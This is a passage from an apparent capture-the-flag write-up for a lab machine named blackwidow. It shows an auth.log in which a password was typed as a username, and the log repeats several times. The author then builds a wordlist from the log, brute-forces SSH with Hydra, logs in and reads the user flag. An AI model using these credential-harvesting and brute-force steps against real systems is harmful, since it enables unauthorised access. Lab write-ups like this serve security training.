Dec 12 16:17:01 test CRON[15056]: pam_unix(cron:session): session closed for user root
Dec 12 16:30:01 test CRON[19745]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 16:30:01 test CRON[19745]: pam_unix(cron:session): session closed for user root
Dec 12 16:39:01 test CRON[23035]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 16:39:01 test CRON[23035]: pam_unix(cron:session): session closed for user root
Dec 12 16:49:14 test sudo:     root : TTY=pts/0 ; PWD=/var/log/apache2 ; USER=root ; COMMAND=/usr/sbin/adduser viper
Dec 12 16:49:14 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 16:49:14 test groupadd[27255]: group added to /etc/group: name=viper, GID=1001
Dec 12 16:49:14 test groupadd[27255]: group added to /etc/gshadow: name=viper
Dec 12 16:49:14 test groupadd[27255]: new group: name=viper, GID=1001
Dec 12 16:49:14 test useradd[27259]: new user: name=viper, UID=1001, GID=1001, home=/home/viper, shell=/bin/bash
Dec 12 16:50:42 test passwd[27267]: pam_unix(passwd:chauthtok): password changed for viper
Dec 12 16:50:47 test chfn[27796]: changed user 'viper' information
Dec 12 16:50:48 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 16:53:22 test sshd[28421]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:53:25 test sshd[28421]: Failed password for viper from 192.168.1.109 port 6996 ssh2
Dec 12 16:53:27 test sshd[28421]: error: Received disconnect from 192.168.1.109 port 6996:13: Unable to authenticate [preauth]
Dec 12 16:53:27 test sshd[28421]: Disconnected from authenticating user viper 192.168.1.109 port 6996 [preauth]
Dec 12 16:53:34 test sshd[28695]: Invalid user giulio from 192.168.1.109 port 7001
Dec 12 16:53:35 test sshd[28695]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:53:35 test sshd[28695]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109 
Dec 12 16:53:37 test sshd[28695]: Failed password for invalid user giulio from 192.168.1.109 port 7001 ssh2
Dec 12 16:56:06 test sshd[29556]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:08 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109 
Dec 12 16:56:46 test sshd[29560]: Failed password for invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 ssh2
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109
Dec 12 16:56:12 test sshd[29556]: Failed password for root from 192.168.1.109 port 7086 ssh2
Dec 12 16:56:14 test sshd[29556]: error: Received disconnect from 192.168.1.109 port 7086:13: Unable to authenticate [preauth]
Dec 12 16:56:14 test sshd[29556]: Disconnected from authenticating user root 192.168.1.109 port 7086 [preauth]
Dec 12 16:56:14 test sshd[29556]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=root
Dec 12 16:56:22 test sshd[29558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:24 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:29 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:32 test sshd[29558]: Failed password for viper from 192.168.1.109 port 7088 ssh2
Dec 12 16:56:34 test sshd[29558]: error: Received disconnect from 192.168.1.109 port 7088:13: Unable to authenticate [preauth]
Dec 12 16:56:34 test sshd[29558]: Disconnected from authenticating user viper 192.168.1.109 port 7088 [preauth]
Dec 12 16:56:34 test sshd[29558]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109  user=viper
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): check pass; user unknown
Dec 12 16:56:44 test sshd[29560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.109

Dec 12 16:58:44 test su: (to viper) test on pts/0
Dec 12 16:58:44 test su: pam_unix(su:session): session opened for user viper by test(uid=0)
Dec 12 16:58:59 test su: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/1 ruser=www-data rhost=  user=root
Dec 12 16:59:01 test su: FAILED SU (to root) www-data on pts/1
Dec 12 17:02:14 test sudo: pam_unix(sudo:auth): conversation failed
Dec 12 17:02:14 test sudo: pam_unix(sudo:auth): auth could not identify password for [viper]
Dec 12 17:02:14 test sudo:    viper : user NOT in sudoers ; TTY=pts/0 ; PWD=/home ; USER=root ; COMMAND=/usr/sbin/reboot
Dec 12 17:02:18 test su: (to root) test on pts/0
Dec 12 17:02:18 test su: pam_unix(su:session): session opened for user root by test(uid=1001)
Dec 12 17:02:20 test sudo:     root : TTY=pts/0 ; PWD=/home ; USER=root ; COMMAND=/usr/sbin/reboot
Dec 12 17:02:20 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:02:20 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:02:20 test sshd[679]: pam_unix(sshd:session): session closed for user test
Dec 12 17:02:20 test su: pam_unix(su:session): session closed for user root
Dec 12 17:02:20 test su: pam_unix(su:session): session closed for user viper
Dec 12 17:02:20 test su: pam_unix(su:session): session closed for user root
Dec 12 17:02:20 test sshd[679]: pam_systemd(sshd:session): Failed to release session: Interrupted system call
Dec 12 17:02:20 test sshd[682]: pam_unix(sshd:session): session closed for user test
Dec 12 17:02:20 test sshd[682]: pam_systemd(sshd:session): Failed to release session: Interrupted system call
Dec 12 17:02:20 test sshd[434]: Received signal 15; terminating.
Dec 12 17:02:36 test systemd-logind[346]: New seat seat0.
Dec 12 17:02:36 test systemd-logind[346]: Watching system buttons on /dev/input/event2 (Power Button)
Dec 12 17:02:36 test systemd-logind[346]: Watching system buttons on /dev/input/event3 (Sleep Button)
Dec 12 17:02:36 test systemd-logind[346]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dec 12 17:02:36 test sshd[399]: Server listening on 0.0.0.0 port 22.
Dec 12 17:02:36 test sshd[399]: Server listening on :: port 22.
Dec 12 17:04:03 test sshd[438]: Accepted password for test from 192.168.1.109 port 7166 ssh2
Dec 12 17:04:03 test sshd[438]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 17:04:03 test systemd-logind[346]: New session 1 of user test.
Dec 12 17:04:03 test systemd: pam_unix(systemd-user:session): session opened for user test by (uid=0)
Dec 12 17:04:03 test sshd[440]: Accepted password for test from 192.168.1.109 port 7167 ssh2
Dec 12 17:04:03 test sshd[440]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 17:04:03 test systemd-logind[346]: New session 3 of user test.
Dec 12 17:09:01 test CRON[2343]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 17:09:01 test CRON[2343]: pam_unix(cron:session): session closed for user root
Dec 12 17:17:01 test CRON[5318]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 17:17:01 test CRON[5318]: pam_unix(cron:session): session closed for user root
Dec 12 17:18:02 test su: (to root) test on pts/0
Dec 12 17:18:02 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 12 17:18:09 test sudo:     root : TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/setcap cap_setuid+ep perl
Dec 12 17:18:09 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:18:09 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:18:23 test sudo:     root : TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/setcap cap_setuid+ep /usr/bin/perl
Dec 12 17:18:23 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:18:23 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:18:28 test su: pam_unix(su:session): session closed for user root
Dec 12 17:19:36 test sudo: pam_unix(sudo:auth): conversation failed
Dec 12 17:19:36 test sudo: pam_unix(sudo:auth): auth could not identify password for [test]
Dec 12 17:19:36 test sudo:     test : command not allowed ; TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=list
Dec 12 17:20:00 test su: (to root) test on pts/0
Dec 12 17:20:00 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 12 17:20:11 test sudo:     root : TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:20:11 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:20:11 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:20:35 test sudo:     root : TTY=pts/0 ; PWD=/home ; USER=root ; COMMAND=/usr/sbin/userdel test
Dec 12 17:20:35 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:20:35 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:20:42 test systemd: pam_unix(systemd-user:session): session closed for user test
Dec 12 17:20:46 test sudo:     root : TTY=pts/0 ; PWD=/home ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:20:46 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:20:46 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:20:53 test sudo:     root : TTY=pts/0 ; PWD=/home ; USER=root ; COMMAND=/usr/sbin/reboot
Dec 12 17:20:53 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:20:53 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:20:53 test sshd[438]: pam_unix(sshd:session): session closed for user test
Dec 12 17:20:53 test su: pam_unix(su:session): session closed for user root
Dec 12 17:21:07 test systemd-logind[330]: New seat seat0.
Dec 12 17:21:07 test systemd-logind[330]: Watching system buttons on /dev/input/event2 (Power Button)
Dec 12 17:21:07 test systemd-logind[330]: Watching system buttons on /dev/input/event3 (Sleep Button)
Dec 12 17:21:07 test systemd-logind[330]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dec 12 17:21:07 test sshd[387]: Server listening on 0.0.0.0 port 22.
Dec 12 17:21:07 test sshd[387]: Server listening on :: port 22.
Dec 12 17:21:24 test sshd[438]: Accepted password for test from 192.168.1.109 port 7285 ssh2
Dec 12 17:21:24 test sshd[438]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 17:21:24 test systemd-logind[330]: New session 1 of user test.
Dec 12 17:21:24 test systemd: pam_unix(systemd-user:session): session opened for user test by (uid=0)
Dec 12 17:21:24 test sshd[440]: Accepted password for test from 192.168.1.109 port 7287 ssh2
Dec 12 17:21:24 test sshd[440]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 17:21:24 test systemd-logind[330]: New session 3 of user test.
Dec 12 17:21:38 test su: (to root) test on pts/0
Dec 12 17:21:38 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 12 17:21:42 test sudo:     root : TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:21:42 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:21:42 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:21:49 test sudo:     root : TTY=pts/0 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/userdel test
Dec 12 17:21:49 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:21:49 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:22:01 test login[371]: pam_unix(login:session): session opened for user test by LOGIN(uid=0)
Dec 12 17:22:01 test systemd-logind[330]: New session 4 of user test.
Dec 12 17:22:04 test su: (to root) test on tty1
Dec 12 17:22:04 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 12 17:22:21 test sudo:     root : TTY=tty1 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:22:21 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:22:21 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:23:00 test sudo:     root : TTY=tty1 ; PWD=/home/test ; USER=root ; COMMAND=/usr/sbin/deluser test --force
Dec 12 17:23:00 test sudo: pam_unix(sudo:session): session opened for user root by test(uid=0)
Dec 12 17:23:00 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:23:31 test su: pam_unix(su:session): session closed for user root
Dec 12 17:23:34 test login[371]: pam_unix(login:session): session closed for user test
Dec 12 17:23:34 test systemd-logind[330]: Session 4 logged out. Waiting for processes to exit.
Dec 12 17:23:34 test systemd-logind[330]: Removed session 4.
Dec 12 17:23:57 test login[1258]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=/dev/tty1 ruser= rhost=  user=viper
Dec 12 17:24:00 test login[1258]: FAILED LOGIN (1) on '/dev/tty1' FOR 'viper', Authentication failure
Dec 12 17:24:09 test su: pam_unix(su:session): session closed for user root
Dec 12 17:24:10 test sshd[438]: pam_unix(sshd:session): session closed for user test
Dec 12 17:24:10 test systemd-logind[330]: Session 1 logged out. Waiting for processes to exit.
Dec 12 17:24:10 test systemd-logind[330]: Removed session 1.
Dec 12 17:24:11 test sshd[440]: pam_unix(sshd:session): session closed for user test
Dec 12 17:24:11 test systemd-logind[330]: Session 3 logged out. Waiting for processes to exit.
Dec 12 17:24:11 test systemd-logind[330]: Removed session 3.
Dec 12 17:24:21 test systemd: pam_unix(systemd-user:session): session closed for user test
Dec 12 17:24:21 test sshd[1479]: Accepted password for viper from 192.168.1.109 port 7312 ssh2
Dec 12 17:24:21 test sshd[1479]: pam_unix(sshd:session): session opened for user viper by (uid=0)
Dec 12 17:24:21 test systemd-logind[330]: New session 5 of user viper.
Dec 12 17:24:21 test systemd: pam_unix(systemd-user:session): session opened for user viper by (uid=0)
Dec 12 17:24:21 test sshd[1483]: Accepted password for viper from 192.168.1.109 port 7315 ssh2
Dec 12 17:24:21 test sshd[1483]: pam_unix(sshd:session): session opened for user viper by (uid=0)
Dec 12 17:24:21 test systemd-logind[330]: New session 7 of user viper.
Dec 12 17:24:44 test sudo: pam_unix(sudo:auth): conversation failed
Dec 12 17:24:44 test sudo: pam_unix(sudo:auth): auth could not identify password for [viper]
Dec 12 17:24:44 test sudo:    viper : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/viper ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:24:51 test su: (to root) viper on pts/0
Dec 12 17:24:51 test su: pam_unix(su:session): session opened for user root by viper(uid=1001)
Dec 12 17:24:56 test sudo:     root : TTY=pts/0 ; PWD=/home/viper ; USER=root ; COMMAND=/usr/sbin/deluser test
Dec 12 17:24:56 test sudo: pam_unix(sudo:session): session opened for user root by viper(uid=0)
Dec 12 17:24:56 test userdel[1703]: delete user 'test'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'cdrom'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'floppy'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'audio'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'dip'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'video'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'plugdev'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'netdev'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from group 'bluetooth'
Dec 12 17:24:56 test userdel[1703]: removed group 'test' owned by 'test'
Dec 12 17:24:56 test userdel[1703]: removed shadow group 'test' owned by 'test'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'cdrom'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'floppy'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'audio'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'dip'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'video'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'plugdev'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'netdev'
Dec 12 17:24:56 test userdel[1703]: delete 'test' from shadow group 'bluetooth'
Dec 12 17:24:56 test sudo: pam_unix(sudo:session): session closed for user root
Dec 12 17:30:01 test CRON[3536]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 17:30:01 test CRON[3536]: pam_unix(cron:session): session closed for user root
Dec 12 17:39:01 test CRON[6780]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 17:39:01 test CRON[6780]: pam_unix(cron:session): session closed for user root
Dec 13 04:54:43 test systemd-logind[318]: Watching system buttons on /dev/input/event2 (Power Button)
Dec 13 04:54:43 test systemd-logind[318]: Watching system buttons on /dev/input/event3 (Sleep Button)
Dec 13 04:54:43 test systemd-logind[318]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dec 13 04:54:43 test systemd-logind[318]: New seat seat0.
Dec 13 04:54:43 test sshd[404]: Server listening on 0.0.0.0 port 22.
Dec 13 04:54:43 test sshd[404]: Server listening on :: port 22.
Dec 13 04:56:21 test sshd[487]: Accepted password for viper from 192.168.1.111 port 48772 ssh2
Dec 13 04:56:21 test sshd[487]: pam_unix(sshd:session): session opened for user viper by (uid=0)
Dec 13 04:56:21 test systemd-logind[318]: New session 1 of user viper.
Dec 13 04:56:21 test systemd: pam_unix(systemd-user:session): session opened for user viper by (uid=0)
Dec 13 04:56:26 test su: (to root) viper on pts/0
Dec 13 04:56:26 test su: pam_unix(su:session): session opened for user root by viper(uid=1001)
www-data@blackwidow:/var/backups$ 

The identified file is named " auth.log " which potentially contains logs of login attempts on the target machine. In some cases, these logs might contain usernames or even passwords if they were not properly masked during login.

This scenario highlights a potential vulnerability where login credentials could be leaked within the system logs, especially if sensitive data is not sanitized before logging. It emphasizes the importance of secure login practices and proper logging configurations to mitigate such risks.

So, I get the idea to copy this data, modify it into a wordlist, and then use it to perform a brute-force attack on the target to find the correct password.


Brute-force the username and password

For this purpose, First, I save the output of auth.log to my Kali Linux system using a text editor, and save it as log.txt

Next, I extract words and create a wordlist by running this command to process the log.txt file, and generate wordlist.txt .

┌──(kali㉿kali)-[~]
└─$ awk '{for (i=1;i<=NF;i++) print $i}' log.txt | sort -u > wordlist.txt
                                                                                                                                        
┌──(kali㉿kali)-[~]
└─$

Now, I will attempt a brute-force attack on SSH, which we identified as an open port from the earlier nmap scan.

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f8:3b:7c:ca:c2:f6:5a:a6:0e:3f:f9:cf:1b:a9:dd:1e (RSA)
|   256 04:31:5a:34:d4:9b:14:71:a0:0f:22:78:2d:f3:b6:f6 (ECDSA)
|_  256 4e:42:8e:69:b7:90:e8:27:68:df:68:8a:83:a7:87:9c (ED25519)

I use Hydra for this purpose. We already know that there is a user named, viper

┌──(kali㉿kali)-[~]
└─$ hydra -l viper -P wordlist.txt ssh://192.168.95.16
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-31 01:46:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 369 login tries (l:1/p:369), ~24 tries per task
[DATA] attacking ssh://192.168.95.16:22/
[STATUS] 141.00 tries/min, 141 tries in 00:01h, 230 to do in 00:02h, 14 active
[22][ssh] host: 192.168.95.16   login: viper   password: ?V1p3r2020!?
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-31 01:47:52
                                                                                                                                        
┌──(kali㉿kali)-[~]
└─$ 

After running Hydra, I discover a valid password. With the username and password in hand, I log in using an SSH client tool.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password: 
Linux blackwidow 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 22 16:18:46 2024 from 192.168.95.3
viper@blackwidow:~$

Once logged in, I have user-level permissions. So, let’s check for the user flag, and there it is. 

viper@blackwidow:~$ ls -al
total 36
drwxr-xr-x 4 viper viper 4096 May 22 16:18 .
drwxr-xr-x 3 root  root  4096 Dec 12  2020 ..
drwx------ 4 viper viper 4096 Dec 13  2020 backup_site
-rw------- 1 viper viper 2031 May 22 16:31 .bash_history
-rw-r--r-- 1 viper viper  220 Dec 12  2020 .bash_logout
-rw-r--r-- 1 viper viper 3526 Dec 12  2020 .bashrc
drwxr-xr-x 3 viper viper 4096 Dec 13  2020 .local
-rw------- 1 viper viper   33 Dec 12  2020 local.txt
-rw-r--r-- 1 viper viper  807 Dec 12  2020 .profile
-rw------- 1 viper viper    0 Dec 24  2020 .Xauthority
viper@blackwidow:~$ cat local.txt 
d930fe79919376e6d08972dae222526b
viper@blackwidow:~$ 

Next, try to access the root flag:

viper@blackwidow:~$ cd /root/
-bash: cd: /root/: Permission denied
viper@blackwidow:~$ 

